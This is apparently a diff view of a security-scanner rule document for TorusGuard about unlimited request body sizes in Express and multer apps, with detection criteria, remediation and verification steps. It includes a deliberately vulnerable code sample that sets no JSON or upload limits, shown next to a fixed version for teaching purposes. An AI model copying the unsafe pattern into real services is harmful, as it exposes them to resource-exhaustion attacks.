- Multipart upload handlers (`multer`, `busboy`, `formidable`)
|
|
11
|
+
- Reverse proxies and gateways handling inbound body buffering
|
|
12
|
+
- GraphQL endpoints accepting deeply nested or large payloads
|
|
13
|
+
- Webhook endpoints receiving internet-originated request bodies
|
|
14
|
+
|
|
15
|
+
## Why It Matters
|
|
16
|
+
|
|
17
|
+
Unlimited request body size enables straightforward resource exhaustion.
|
|
18
|
+
Attackers can submit oversized payloads to consume memory, CPU, and I/O.
|
|
19
|
+
Large bodies also amplify parser overhead before business logic runs.
|
|
20
|
+
This can degrade service availability and increase infrastructure cost.
|
|
21
|
+
Body limits are a foundational availability control.
|
|
22
|
+
|
|
23
|
+
## What TorusGuard Looks For
|
|
24
|
+
|
|
25
|
+
- `express.json()` or equivalent parser used without `limit`
|
|
26
|
+
- Multipart middleware configured without `fileSize`/part-count constraints
|
|
27
|
+
- Reverse proxy body size defaults left unconfigured for production
|
|
28
|
+
- Endpoints accepting large payloads without authentication or quotas
|
|
29
|
+
- Missing early rejection behavior (`413 Payload Too Large`)
|
|
30
|
+
- No per-route differentiation (tiny webhook route shares unlimited global limits)
|
|
31
|
+
|
|
32
|
+
## Unsafe Example
|
|
33
|
+
|
|
34
|
+
```ts
|
|
35
|
+
import express from "express";
|
|
36
|
+
import multer from "multer";
|
|
37
|
+
|
|
38
|
+
const app = express();
|
|
39
|
+
const upload = multer(); // no limits
|
|
40
|
+
|
|
41
|
+
app.use(express.json()); // no limit
|
|
42
|
+
app.post("/api/upload", upload.single("file"), async (req, res) => {
|
|
43
|
+
await storeFile(req.file);
|
|
44
|
+
res.json({ ok: true });
|
|
45
|
+
});
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
## Safe Example
|
|
49
|
+
|
|
50
|
+
```ts
|
|
51
|
+
import express from "express";
|
|
52
|
+
import multer from "multer";
|
|
53
|
+
|
|
54
|
+
const app = express();
|
|
55
|
+
const upload = multer({
|
|
56
|
+
limits: {
|
|
57
|
+
fileSize: 5 * 1024 * 1024,
|
|
58
|
+
files: 1,
|
|
59
|
+
fields: 20
|
|
60
|
+
}
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
app.use(express.json({ limit: "1mb" }));
|
|
64
|
+
app.use(express.urlencoded({ extended: false, limit: "256kb" }));
|
|
65
|
+
|
|
66
|
+
app.post("/api/upload", upload.single("file"), async (req, res) => {
|
|
67
|
+
await storeFile(req.file);
|
|
68
|
+
res.json({ ok: true });
|
|
69
|
+
});
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
## Remediation
|
|
73
|
+
|
|
74
|
+
1. Set explicit global parser limits for JSON, form, and text payloads.
|
|
75
|
+
2. Apply stricter route-level limits for sensitive or low-bandwidth endpoints.
|
|
76
|
+
3. Configure multipart middleware with file size, file count, and field limits.
|
|
77
|
+
4. Mirror limits at gateway/proxy layer for early rejection and cost control.
|
|
78
|
+
5. Return consistent `413` responses and avoid expensive post-parse handling.
|
|
79
|
+
6. Require auth and quotas for routes that legitimately need larger bodies.
|
|
80
|
+
7. Add depth/complexity controls for GraphQL or nested JSON structures.
|
|
81
|
+
8. Monitor rejected payload metrics and adjust limits based on observed traffic.
|
|
82
|
+
|
|
83
|
+
## Verification
|
|
84
|
+
|
|
85
|
+
- Submit oversized JSON/form/multipart payloads and confirm `413` behavior.
|
|
86
|
+
- Verify limits are enforced consistently across app and edge layers.
|
|
87
|
+
- Confirm normal legitimate payloads still succeed.
|
|
88
|
+
- Stress-test endpoints to ensure parser memory remains bounded.
|
|
89
|
+
- Validate logs and metrics capture payload-limit rejections cleanly.
|
|
90
|
+
|
|
91
|
+
## False Positives and Exceptions
|
|
92
|
+
|
|
93
|
+
- Internal batch ingestion endpoints on private networks with strict contracts
|
|
94
|
+
- Dedicated large-upload services with chunked protocols and isolated capacity
|
|
95
|
+
- Temporary migration windows requiring higher limits with compensating controls
|
|
96
|
+
- Routes where limits are enforced upstream and app parser never sees large bodies
|
|
97
|
+
|
|
98
|
+
## Related Rules
|
|
99
|
+
|
|
100
|
+
- `TG-RATE-003-unbounded-resource-consumption.md`
|
|
101
|
+
- `TG-RATE-002-unlimited-public-write-endpoint.md`
|
|
102
|
+
- `TG-INPUT-004-unrestricted-file-upload.md`
|